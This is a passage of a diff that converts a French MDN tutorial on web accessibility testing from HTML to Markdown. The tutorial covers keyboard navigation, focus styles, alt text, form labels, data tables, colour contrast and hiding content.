vous devez avoir un bon code source avec lequel commencer.</p> +De plus, votre contenu doit avoir un sens logique dans son code source — vous pourrez toujours le placer où vous voulez en utilisant du CSS plus tard, mais vous devez avoir un bon code source avec lequel commencer. -<p>Comme test, vous pouvez désactiver le CSS d'un site et voir à quel point il est compréhensible sans ce dernier. Vous pouvez le faire manuellement juste en retirant le CSS de votre code, mais la façon la plus simple reste d'utiliser les fonctionnalités du navigateur, par exemple :</p> +Comme test, vous pouvez désactiver le CSS d'un site et voir à quel point il est compréhensible sans ce dernier. Vous pouvez le faire manuellement juste en retirant le CSS de votre code, mais la façon la plus simple reste d'utiliser les fonctionnalités du navigateur, par exemple : -<ul> - <li>Firefox : Sélectionnez <em>Affichage > Style de page > Aucun style</em> depuis le menu principal.</li> - <li>Safari : Sélectionnez <em>Développement > Désactiver les styles</em> depuis le menu principale (pour activer le menu <em>Développement</em>, choisissez <em>Safari </em>> <em>Préférences </em>> <em>Avancés </em>> <em>Montrer le menu développement dans la barre de menu</em>).</li> - <li>Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez <em>CSS</em> > <em>Désactiver tous les styles.</em></li> - <li>Edge : Sélectionnez <em>Vue </em>> <em>Style</em> > <em>Aucun style</em> depuis le menu principal.</li> -</ul> +- Firefox : Sélectionnez _Affichage > Style de page > Aucun style_ depuis le menu principal. +- Safari : Sélectionnez _Développement > Désactiver les styles_ depuis le menu principale (pour activer le menu _Développement_, choisissez _Safari_ > _Préférences_ > _Avancés_ > _Montrer le menu développement dans la barre de menu_). +- Chrome : Installez l'extension Web Developer Toolbar, puis redémarrer le navigateur. Cliquez sur l'icône engrenage qui apparaîtra, puis sélectionnez _CSS_ > _Désactiver tous les styles._ +- Edge : Sélectionnez _Vue_ > _Style_ > _Aucun style_ depuis le menu principal. -<h4 id="Utiliser_l'accessibilité_native_du_clavier">Utiliser l'accessibilité native du clavier</h4> +#### Utiliser l'accessibilité native du clavier -<p>Certaines fonctionnalités HTML peuvent être sélectionnées en utilisant uniquement le clavier — c'est le comportement par défaut, disponible depuis les prémices du web. Les éléments qui ont cette capacité sont les plus communs qui permettent à l'utilisateur d'interagir avec les pages web, à savoir les liens, {{htmlelement("button")}}s, et les éléments des formulaire comme {{htmlelement("input")}}.</p> +Certaines fonctionnalités HTML peuvent être sélectionnées en utilisant uniquement le clavier — c'est le comportement par défaut, disponible depuis les prémices du web. Les éléments qui ont cette capacité sont les plus communs qui permettent à l'utilisateur d'interagir avec les pages web, à savoir les liens, {{htmlelement("button")}}s, et les éléments des formulaire comme {{htmlelement("input")}}. -<p>Vous pouvez essayer ceci en utilisant notre exemple <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">code source</a>) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé.</p> +Vous pouvez essayer ceci en utilisant notre exemple [native-keyboard-accessibility.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) — ouvrez le dans un nouvel onglet, et essayez de presser la touche tab ; après quelques pressions, vous devriez voir la focalisation du tab commencer à se déplacer entre les différents éléments focalisables ; les éléments focalisés ont un style de mise en avant par défaut dans tous les navigateurs (cela diffère peu entre les différents navigateurs) donc vous pouvez dire quel éléments est focalisé. -<p><img alt="" src="button-focused-unfocused.png"></p> + -<p>Vous pouvez ensuite presser Entrée/Retour pour accéder à un lien focalisé ou presser un bouton (nous avons inclus un peu de JavaScript pour que les boutons renvoies un message d'alerte), ou commencer à taper pour entrer du texte dans un des input texte (d'autres éléments de formulaire ont différents contrôles, par exemple l'élément {{htmlelement("select")}} peut avoir ses options affichées et navigable en utilisant les touches haut et bas).</p> +Vous pouvez ensuite presser Entrée/Retour pour accéder à un lien focalisé ou presser un bouton (nous avons inclus un peu de JavaScript pour que les boutons renvoies un message d'alerte), ou commencer à taper pour entrer du texte dans un des input texte (d'autres éléments de formulaire ont différents contrôles, par exemple l'élément {{htmlelement("select")}} peut avoir ses options affichées et navigable en utilisant les touches haut et bas). -<p>Notez que différents navigateurs peuvent avoir différentes options de contrôle par clavier disponibles. La plupart des navigateurs modernes respectent le modèle de tab écrit plus haut (vous pouvez aussi faire une Shift + Tab pour reculer entre les éléments focalisables), mais certains navigateurs ont leurs propres particularités :</p> +Notez que différents navigateurs peuvent avoir différentes options de contrôle par clavier disponibles. La plupart des navigateurs modernes respectent le modèle de tab écrit plus haut (vous pouvez aussi faire une Shift + Tab pour reculer entre les éléments focalisables), mais certains navigateurs ont leurs propres particularités : -<ul> - <li>Firefox pour Max ne tabule pas par défaut. Pour l'activer, vous devez aller dans <em>Préférences</em> > <em>Avancées</em> > <em>Général</em>, puis décochez "Toujours utiliser les curseurs pour naviguer dans une page". Ensuite, vous devez ouvrir les Préférences Système de votre Mac, puis sélectionnez le boutons radio <em>Tous les contrôles</em>.</li> - <li>Safari ne vous permet pas de naviguer avec tab par défaut ; pour l'activer, vous devez ouvrir les <em>Préférences</em> de Safari, allez dans Avancées, et cochez la case à cocher <em>Presser tab pour mettre en avant chaque item sur une page web</em>.</li> -</ul> +- Firefox pour Max ne tabule pas par défaut. Pour l'activer, vous devez aller dans _Préférences_ > _Avancées_ > _Général_, puis décochez "Toujours utiliser les curseurs pour naviguer dans une page". Ensuite, vous devez ouvrir les Préférences Système de votre Mac, puis sélectionnez le boutons radio _Tous les contrôles_. +- Safari ne vous permet pas de naviguer avec tab par défaut ; pour l'activer, vous devez ouvrir les _Préférences_ de Safari, allez dans Avancées, et cochez la case à cocher _Presser tab pour mettre en avant chaque item sur une page web_. -<div class="warning"> -<p><strong>Attention :</strong> Vous devez jouer ce genre de test sur toutes les pages que vous écrivez — assurez-vous que la fonctionnalité peut être accessible par le clavier.</p> -</div> +> **Attention :** Vous devez jouer ce genre de test sur toutes les pages que vous écrivez — assurez-vous que la fonctionnalité peut être accessible par le clavier. -<p>Cet exemple souligne l'importance de l'utilisation de la sémantique correcte d'élément pour le travail correct. C'est possible de styler <em>n'importe quel</em> élément pour qu'il ressemble à un lien ou un bouton avec le CSS, et de le faire se comporter comme un lien ou un bouton avec JavaScript, mais ils ne seront toujours pas des liens ou des boutons, et vous perdrez beaucoup de l'accessibilité que ces éléments vous fournissent pour rien. Donc ne le faîte pas si vous pouvez l'éviter.</p> +Cet exemple souligne l'importance de l'utilisation de la sémantique correcte d'élément pour le travail correct. C'est possible de styler _n'importe quel_ élément pour qu'il ressemble à un lien ou un bouton avec le CSS, et de le faire se comporter comme un lien ou un bouton avec JavaScript, mais ils ne seront toujours pas des liens ou des boutons, et vous perdrez beaucoup de l'accessibilité que ces éléments vous fournissent pour rien. Donc ne le faîte pas si vous pouvez l'éviter. -<p>Un autre conseil — comme vu dans notre exemple, vous pouvez contrôler comment vos éléments focalisables paraissent quand ils sont focalisés, en utilisant la pseudo-class <a href="/fr/docs/Web/CSS/:focus">:focus</a>. C'est une bonne idée de doubler les styles focus et hover, comme ça vos utilisateurs auront un indice visuel qu'un contrôle fera quelque chose lorsqu'il sera activé, qu'ils utilisent la souris ou le clavier :</p> +Un autre conseil — comme vu dans notre exemple, vous pouvez contrôler comment vos éléments focalisables paraissent quand ils sont focalisés, en utilisant la pseudo-class [:focus](/fr/docs/Web/CSS/:focus). C'est une bonne idée de doubler les styles focus et hover, comme ça vos utilisateurs auront un indice visuel qu'un contrôle fera quelque chose lorsqu'il sera activé, qu'ils utilisent la souris ou le clavier : -<pre class="brush: css">a:hover, input:hover, button:hover, select:hover, +```css +a:hover, input:hover, button:hover, select:hover, a:focus, input:focus, button:focus, select:focus { font-weight: bold; -}</pre> +} +``` + +> **Note :** Si vous décidez de retirer le style focus par défaut en utilisant du CSS, assurez-vous de le remplacer par autre chose qui s'accorde au mieux avec votre design — c'est un outil d'accessibilité de grande valeur, qui ne doit pas être supprimé. -<div class="note"> -<p><strong>Note :</strong> Si vous décidez de retirer le style focus par défaut en utilisant du CSS, assurez-vous de le remplacer par autre chose qui s'accorde au mieux avec votre design — c'est un outil d'accessibilité de grande valeur, qui ne doit pas être supprimé.</p> -</div> +#### Intégrer l'accessibilité clavier -<h4 id="Intégrer_l'accessibilité_clavier">Intégrer l'accessibilité clavier</h4> +Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. Vous pouvez avoir hérité d'un site où la sémantique n'est pas parfaite (peut-être que vous vous êtes retrouvé avec un CMS horrible qui génère des boutons créés avec des `<div>`s), ou que vous utilisez un contrôle complexe qui n'a pas d'accessibilité clavier intégré, comme l'élément {{htmlelement("video")}} (étonnamment, Opera est le seul navigateur qui vous permet de tabuler dans l'élément `<video>` avec les contrôles par défaut du navigateur). Vous avez quelques options ici : -<p>Parfois ça n'est pas possible d'éviter la perte de l'accessibilité clavier. Vous pouvez avoir hérité d'un site où la sémantique n'est pas parfaite (peut-être que vous vous êtes retrouvé avec un CMS horrible qui génère des boutons créés avec des <code><div></code>s), ou que vous utilisez un contrôle complexe qui n'a pas d'accessibilité clavier intégré, comme l'élément {{htmlelement("video")}} (étonnamment, Opera est le seul navigateur qui vous permet de tabuler dans l'élément <code><video></code> avec les contrôles par défaut du navigateur). Vous avez quelques options ici :</p> +1. Créer des contrôles personnalisés en utilisant les éléments `<button>` (sur lequel nous pouvons tabuler par défaut !) et JavaScript pour les relier à leur fonction. Pour des bons exemples voir [Creating a cross-browser video player](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player). +2. Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir [Desktop mouse and keyboard controls](/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard) pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins. +3. Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple [fake-div-buttons.html](http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html)). Nous donnons à nos faux boutons `<div>` la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut `tabindex="0"` (voir l'[article tabindex](https://webaim.org/techniques/keyboard/tabindex) de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript : +4. ```js + document.onkeydown = function(e) { + if(e.keyCode === 13) { // The Enter/Return key + document.activeElement.onclick(e); + } + }; + ``` -<ol> - <li>Créer des contrôles personnalisés en utilisant les éléments <code><button></code> (sur lequel nous pouvons tabuler par défaut !) et JavaScript pour les relier à leur fonction. Pour des bons exemples voir <a href="/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">Creating a cross-browser video player</a>.</li> - <li>Créer des raccourcis clavier en utilisant JavaScript, les fonctions sont activés quand vous appuyez sur une certaine touche du clavier. Voir <a href="/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">Desktop mouse and keyboard controls</a> pour des exemples en rapport avec le jeu qui peuvent être adaptés à d'autres fins.</li> - <li>Utilisez des approches intéressantes pour simuler le comportement d'un bouton. Prenez par exemple notre exemple <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">code source</a>). Nous donnons à nos faux boutons <code><div></code> la capacité d'être focalisé (y compris avec la tabulation) en donnant à chacun d'entre eux l'attribut <code>tabindex="0"</code> (voir l'<a href="https://webaim.org/techniques/keyboard/tabindex">article tabindex</a> de WebAIM pour plus de détails utiles). Cela nous permet de tabuler sur les boutons, mais pas de les activer avec la toucher Entrée/Retour. Pour faire cela, nous devons ajouter ce petit bout de tromperie en JavaScript :</li> - <li> - <pre class="brush: js">document.onkeydown = function(e) { - if(e.keyCode === 13) { // The Enter/Return key - document.activeElement.onclick(e); - } -};</pre> - Ici nous ajoutons un listener à l'objet <code>document</code> pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet <a href="/fr/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le <code>onclick</code> du bouton en utilisant <code>document.activeElement.onclick()</code>. <code><a href="/fr/docs/Web/API/Document/activeElement">activeElement</a></code> nous donne l'élément courant qui est focalisé sur la page.</li> -</ol> + Ici nous ajoutons un listener à l'objet `document` pour détecter quand une touche a été appuyée sur le clavier. Nous vérifions quelle touche a été pressée avec la propriété d'évènement d'objet [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) ; si c'est le code de la touche qui retourne Entrée/Retour, on exécute la fonction stockée dans le `onclick` du bouton en utilisant `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément courant qui est focalisé sur la page. -<div class="note"> -<p><strong>Note :</strong> Cette technique ne fonctionnera que si vous configurer vos propres gestionnaires d'évènement avec les propriétés de gestion d'évènement (par ex. <code>onclick</code>). <code>addEventListener</code> ne fonctionnera pas. C'est beaucoup de prises de tête pour construire la fonctionnalité de retour. Et il y a d'autres problèmes rattachés avec. Vaut mieux commencer par utiliser les bons éléments pour leurs buts initiaux.</p> -</div> +> **Note :** Cette technique ne fonctionnera que si vous configurer vos propres gestionnaires d'évènement avec les propriétés de gestion d'évènement (par ex. `onclick`). `addEventListener` ne fonctionnera pas. C'est beaucoup de prises de tête pour construire la fonctionnalité de retour. Et il y a d'autres problèmes rattachés avec. Vaut mieux commencer par utiliser les bons éléments pour leurs buts initiaux. -<h4 id="Les_textes_alternatifs">Les textes alternatifs</h4> +#### Les textes alternatifs -<p>Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut <code>alt</code>, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur.</p> +Les textes alternatifs sont très importants pour l'accessibilité — si une personne a un trouble visuel ou auditif qui l'empêche de voir ou d'entendre un contenu, alors c'est un problème. Le texte alternatif le plus simple disponible est le modeste attribut `alt`, que nous devrions inclure dans toutes les images qui contiennent un contenu pertinent. Il peut contenir une description de l'image qui transmet clairement son sens et son contenu sur la page, pour être récupéré par un lecteur d'écran et lu à l'utilisateur. -<div class="note"> -<p><strong>Note :</strong> Pour plus d'informations, lisez <a href="/fr/docs/Learn/Accessibility/HTML#Text_alternatives">Text alternatives</a>.</p> -</div> +> **Note :** Pour plus d'informations, lisez [Text alternatives](/fr/docs/Learn/Accessibility/HTML#Text_alternatives). -<p>L'oubli de texte alt peut être testé de bien des façons, par exemple en utilisant le {{anch("Auditing tools")}} d'accessibilité.</p> +L'oubli de texte alt peut être testé de bien des façons, par exemple en utilisant le {{anch("Auditing tools")}} d'accessibilité. -<p>Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format <a href="/fr/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> (voir <a href="/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Ajouter des légendes et des sous-titres à des vidéos HTML5</a> pour un tutoriel détaillé). <a href="/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Compatibilit%C3%A9_entre_navigateurs">La compatibilité entre navigateur</a> pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée.</p> +Le texte alt est légèrement plus complexe pour du contenu vidéo ou audio. Il y a une manière de gérer l'affichage du texte (par ex. les sous-titres) et de les afficher quand la vidéo est jouée, sous le forme de l'élément {{htmlelement("track")}}, et du format [WebVTT](/fr/docs/Web/API/Web_Video_Text_Tracks_Format) (voir [Ajouter des légendes et des sous-titres à des vidéos HTML5](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video) pour un tutoriel détaillé). [La compatibilité entre navigateur](/fr/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video#Compatibilit%C3%A9_entre_navigateurs) pour cette fonction est assez bonne, mais si vous voulez fournir des textes alternatifs pour de l'audio ou supporter les vieux navigateurs, une simple transcription du texte présenté quelque part sur la page ou sur une page séparée peut être une bonne idée. -<h4 id="Relations_et_contexte_entre_élément">Relations et contexte entre élément</h4> +#### Relations et contexte entre élément -<p>Il y a certaines caractéristiques et pratiques optimales en HTML conçues pour apporter du contexte et des relations entre des éléments lorsqu'aucune n'aurait autrement existé. Les trois exemples les plus courants sont les liens, les libellés de formulaire et les tableau de données.</p> +Il y a certaines caractéristiques et pratiques optimales en HTML conçues pour apporter du contexte et des relations entre des éléments lorsqu'aucune n'aurait autrement existé. Les trois exemples les plus courants sont les liens, les libellés de formulaire et les tableau de données. -<p>La solution pour les textes de type lien c'est que les personnes utilisant des lecteurs d'écran vont souvent utiliser une fonctionnalité commune avec laquelle ils vont récupérer une liste de tous les liens sur la page. Par exemple, une liste de lien libellés "cliquez ici", "cliquez ici", etc. est vraiment mauvaise pour l'accessibilité. Il est préférable pour les textes de type lien d'avoir du sens en contexte et hors contexte.</p> +La solution pour les textes de type lien c'est que les personnes utilisant des lecteurs d'écran vont souvent utiliser une fonctionnalité commune avec laquelle ils vont récupérer une liste de tous les liens sur la page. Par exemple, une liste de lien libellés "cliquez ici", "cliquez ici", etc. est vraiment mauvaise pour l'accessibilité. Il est préférable pour les textes de type lien d'avoir du sens en contexte et hors contexte. -<p>Le suivant sur notre liste, l'élément de formulaire {{htmlelement("label")}} est une des fonctionnalités centrales qui nous permet de rendre les formulaires accessibles. Le problème avec les formulaires c'est que vous avez besoin de libellés pour dire quelle donnée doit être entrée dans chaque champs du formulaire. Chaque libellé doit être inclus dans un {{htmlelement("label")}} pour le relier clairement à son champs partenaire (chaque valeur de l'attribut <code>for</code> de <code><label></code> doit aller avec la valeur de l'<code>id</code> de l'élément du formulaire), et cela aura du sens même si le code source n'est pas totalement logique (ce qui pour être tout à fait juste devrait être fait).</p> +Le suivant sur notre liste, l'élément de formulaire {{htmlelement("label")}} est une des fonctionnalités centrales qui nous permet de rendre les formulaires accessibles. Le problème avec les formulaires c'est que vous avez besoin de libellés pour dire quelle donnée doit être entrée dans chaque champs du formulaire. Chaque libellé doit être inclus dans un {{htmlelement("label")}} pour le relier clairement à son champs partenaire (chaque valeur de l'attribut `for` de `<label>` doit aller avec la valeur de l'`id` de l'élément du formulaire), et cela aura du sens même si le code source n'est pas totalement logique (ce qui pour être tout à fait juste devrait être fait). -<div class="note"> -<p><strong>Note :</strong> Lisez <a href="/fr/docs/Learn/Accessibility/HTML#Meaningful_text_labels">Meaningful text labels</a>, pour plus d'information à propos des textes de type lien et les libellés des formulaires.</p> -</div> +> **Note :** Lisez [Meaningful text labels](/fr/docs/Learn/Accessibility/HTML#Meaningful_text_labels), pour plus d'information à propos des textes de type lien et les libellés des formulaires. -<p>Pour terminer, un mot rapide sur les tableaux de données. Un tableau de données basique peut être écrit avec des indications très simples (voir <code>bad-table.html</code> <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">en direct</a>, et <a href="https://github.com/mdn/learning-area/blob/master/accessibility/html/bad-table.html">la source</a>), mais il y a des problèmes — il n'y a aucun moyen pour un utilisateur de lecteur d'écran d'associer des lignes ou des colonnes ensembles comme un groupe de données — pour faire cela vous devez connaître les lignes d'en-têtes, et si elles se dirigent en lignes, colonnes, etc. Cela ne peut être fait qu'en visuel pour un tel tableau.</p> +Pour terminer, un mot rapide sur les tableaux de données. Un tableau de données basique peut être écrit avec des indications très simples (voir `bad-table.html` [en direct](http://mdn.github.io/learning-area/accessibility/html/bad-table.html), et [la source](https://github.com/mdn/learning-area/blob/master/accessibility/html/bad-table.html)), mais il y a des problèmes — il n'y a aucun moyen pour un utilisateur de lecteur d'écran d'associer des lignes ou des colonnes ensembles comme un groupe de données — pour faire cela vous devez connaître les lignes d'en-têtes, et si elles se dirigent en lignes, colonnes, etc. Cela ne peut être fait qu'en visuel pour un tel tableau. -<p>Si vous regardez plutôt notre exemple <code>punk-band-complete.html</code> (<a href="https://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">direct</a>, <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">source</a>), vous pouvez voir plusieurs aides à l'accessibilité en place, comme les entêtes de tableau ({{htmlelement("th")}} et les attributs <code>scope</code>), l'élément {{htmlelement("caption")}}, etc.</p> +Si vous regardez plutôt notre exemple `punk-band-complete.html` ([direct](https://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html), [source](https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html)), vous pouvez voir plusieurs aides à l'accessibilité en place, comme les entêtes de tableau ({{htmlelement("th")}} et les attributs `scope`), l'élément {{htmlelement("caption")}}, etc. -<div class="note"> -<p><strong>Note :</strong> Lisez <a href="/fr/docs/Learn/Accessibility/HTML#Accessible_data_tables">Accessible data tables</a>, pour plus d'information à propos des tableaux accessibles.</p> -</div> +> **Note :** Lisez [Accessible data tables](/fr/docs/Learn/Accessibility/HTML#Accessible_data_tables), pour plus d'information à propos des tableaux accessibles. -<h3 id="CSS">CSS</h3> +### CSS -<p>Le CSS tend à fournir beaucoup moins de caractéristiques fondamentales d'accessibilité que le HTML, mais il peut aussi faire beaucoup de dommage à l'accessibilité s'il est mal utilisé. Nous avons déjà mentionné quelques conseils sur l'accessibilité incluant le CSS :</p> +Le CSS tend à fournir beaucoup moins de caractéristiques fondamentales d'accessibilité que le HTML, mais il peut aussi faire beaucoup de dommage à l'accessibilité s'il est mal utilisé. Nous avons déjà mentionné quelques conseils sur l'accessibilité incluant le CSS : -<ul> - <li>Utilisez les éléments sémantiques correctes pour définir différent contenu en HTML ; si vous voulez créer un effet visuel différent, utilisez le CSS — n'abusez pas d'un élément HTML pour obtenir l'aspect que vous désirez. Par exemple si vous voulez un texte plus gros, utilisez {{cssxref("font-size")}}, par un élément {{htmlelement("h1")}}.</li> - <li>Assurez-vous que votre code source a du sens sans le CSS ; vous pouvez toujours utilisez le CSS pour styler autant que vous voudrez après.</li> - <li>Vous devez vous assurez que les éléments interactifs comme les boutons et les liens ont des états focus/hover/active appropriés configuré, pour donner à l'utilisateur un indice visuel de leur fonction. Si vous supprimez les styles par défaut pour des raisons stylistiques, assurez-vous de mettre en place des styles de remplacement.</li> -</ul> +- Utilisez les éléments sémantiques correctes pour définir différent contenu en HTML ; si vous voulez créer un effet visuel différent, utilisez le CSS — n'abusez pas d'un élément HTML pour obtenir l'aspect que vous désirez. Par exemple si vous voulez un texte plus gros, utilisez {{cssxref("font-size")}}, par un élément {{htmlelement("h1")}}. +- Assurez-vous que votre code source a du sens sans le CSS ; vous pouvez toujours utilisez le CSS pour styler autant que vous voudrez après. +- Vous devez vous assurez que les éléments interactifs comme les boutons et les liens ont des états focus/hover/active appropriés configuré, pour donner à l'utilisateur un indice visuel de leur fonction. Si vous supprimez les styles par défaut pour des raisons stylistiques, assurez-vous de mettre en place des styles de remplacement. -<p>Il y a quelques autres considérations que vous devriez prendre en compte.</p> +Il y a quelques autres considérations que vous devriez prendre en compte. -<h4 id="Couleur_et_contraste">Couleur et contraste</h4> +#### Couleur et contraste -<p>Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le <a href="http://webaim.org/resources/contrastchecker/">Color Contrast Checker</a> de WebAIM si votre palette contraste suffisamment.</p> +Lorsque vous choisissez une palette de couleurs pour votre site web, vous devez vous assurer que la couleur du texte (au premier plan) contraste bien avec la couleur d'arrière-plan. Votre design peut avoir l'air cool, mais ce n'est pas bon si les personnes avec un handicap visuel comme le daltonisme ne peuvent pas lire votre contenu. Utilisez un outil comme le [Color Contrast Checker](http://webaim.org/resources/contrastchecker/) de WebAIM si votre palette contraste suffisamment. -<p>Une autre astuce est de ne pas compter sur une couleur seule pour les indications/informations, comme ça ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Plutôt que de marquer en rouge les champs requis d'un formulaire, par exemple, marquez-les avec un astérisque et en rouge.</p> +Une autre astuce est de ne pas compter sur une couleur seule pour les indications/informations, comme ça ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Plutôt que de marquer en rouge les champs requis d'un formulaire, par exemple, marquez-les avec un astérisque et en rouge. -<div class="note"> -<p><strong>Note :</strong> un contraste élevé permettra également à toute personnes utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, comme avec la lumière du soleil.</p> -</div> +> **Note :** un contraste élevé permettra également à toute personnes utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, comme avec la lumière du soleil. -<h4 id="Cacher_du_contenu">Cacher du contenu</h4> +#### Cacher du contenu -<p>Il y a plusieurs cas où un design visuel requerra que tout le contenu ne soit pas montré d'un seul coup. Par exemple, dans notre <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Exemple de boîte d'info avec onglets</a> (voir le <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">code source</a>) nous avons trois panneau d'information, mais nous les <a href="/fr/docs/Learn/CSS/CSS_layout/Positioning">positionnons</a> les uns sur les autres et fournissons des onglets qui peuvent être cliqués pour montrer chacun d'entre eux (c'est aussi accessible au clavier — vous pouvez utiliser alternativement Tab et Entrée/Retour pour les sélectionner).</p> +Il y a plusieurs cas où un design visuel requerra que tout le contenu ne soit pas montré d'un seul coup. Par exemple, dans notre [Exemple de boîte d'info avec onglets](http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)) nous avons trois panneau d'information, mais nous les [positionnons](/fr/docs/Learn/CSS/CSS_layout/Positioning) les uns sur les autres et fournissons des onglets qui peuvent être cliqués pour montrer chacun d'entre eux (c'est aussi accessible au clavier — vous pouvez utiliser alternativement Tab et Entrée/Retour pour les sélectionner). -<p><img alt="" src="tabbed-info-box.png"></p> + -<p>Les utilisateurs de lecteur d'écran ne se soucient pas vraiment de cela — ils sont satisfaits tant que le contenu a du sens dans le code source, et qu'ils peuvent entièrement y accéder. Le positionnement absolute (comme utilisé dans cet exemple) est souvent vu comme l'un des meilleur mécanismes pour cacher du contenu pour des effets visuels, parce que ça n'empêche pas les lecteur d'écran d'y accéder.</p> +Les utilisateurs de lecteur d'écran ne se soucient pas vraiment de cela — ils sont satisfaits tant que le contenu a du sens dans le code source, et qu'ils peuvent entièrement y accéder. Le positionnement absolute (comme utilisé dans cet exemple) est souvent vu comme l'un des meilleur mécanismes pour cacher du contenu pour des effets visuels, parce que ça n'empêche pas les lecteur d'écran d'y accéder. -<p>D'un autre côté, vous ne devriez pas utiliser {{cssxref("visibility")}}<code>:hidden</code> ou {{cssxref("display")}}<code>:none</code>, parce qu'il cache le contenu aux lecteurs d'écran. A moins que, bien entendu, il y est une bonne raison qui justifie que ce contenu soit caché aux lecteurs d'écran.</p> +D'un autre côté, vous ne devriez pas utiliser {{cssxref("visibility")}}`:hidden` ou {{cssxref("display")}}`:none`, parce qu'il cache le contenu aux lecteurs d'écran. A moins que, bien entendu, il y est une bonne raison qui justifie que ce contenu soit caché aux lecteurs d'écran. -<div class="note"> -<p><strong>Note :</strong> <a href="http://webaim.org/techniques/css/invisiblecontent/">Invisible Content Just for Screen Reader Users</a> vous décrira beaucoup de détails utilesà propos de ce sujet. </p> -</div> +> **Note :** [Invisible Content Just for Screen Reader Users](http://webaim.org/techniques/css/invisiblecontent/) vous décrira beaucoup de détails utilesà propos de ce sujet. -<h3 id="JavaScript">JavaScript</h3> +### JavaScript -<p>Le JavaScript a le même type de problèmes que le CSS concernant l'accessibilité — cela peut être désastreux pour l'accessibilité si mal utilisé, ou trop utilisé. Nous avions déjà abordé quelques problèmes d'accessibilité en rapport avec le JavaScript, principalement dans le champ de la sémantique HTML — vous devez toujours utiliser une sémantique HTML appropriée pour implémenter une fonctionnalité qu'importe où elle est disponible, par exemple utiliser des liens et des boutons de façon appropriée. N'utilisez pas les éléments <code><div></code> avec du code JavaScript pour simuler une fonctionnalité si c'est possible — c'est une source d'erreur, et ça fonctionne mieux d'utiliser les fonctionnalités disponibles 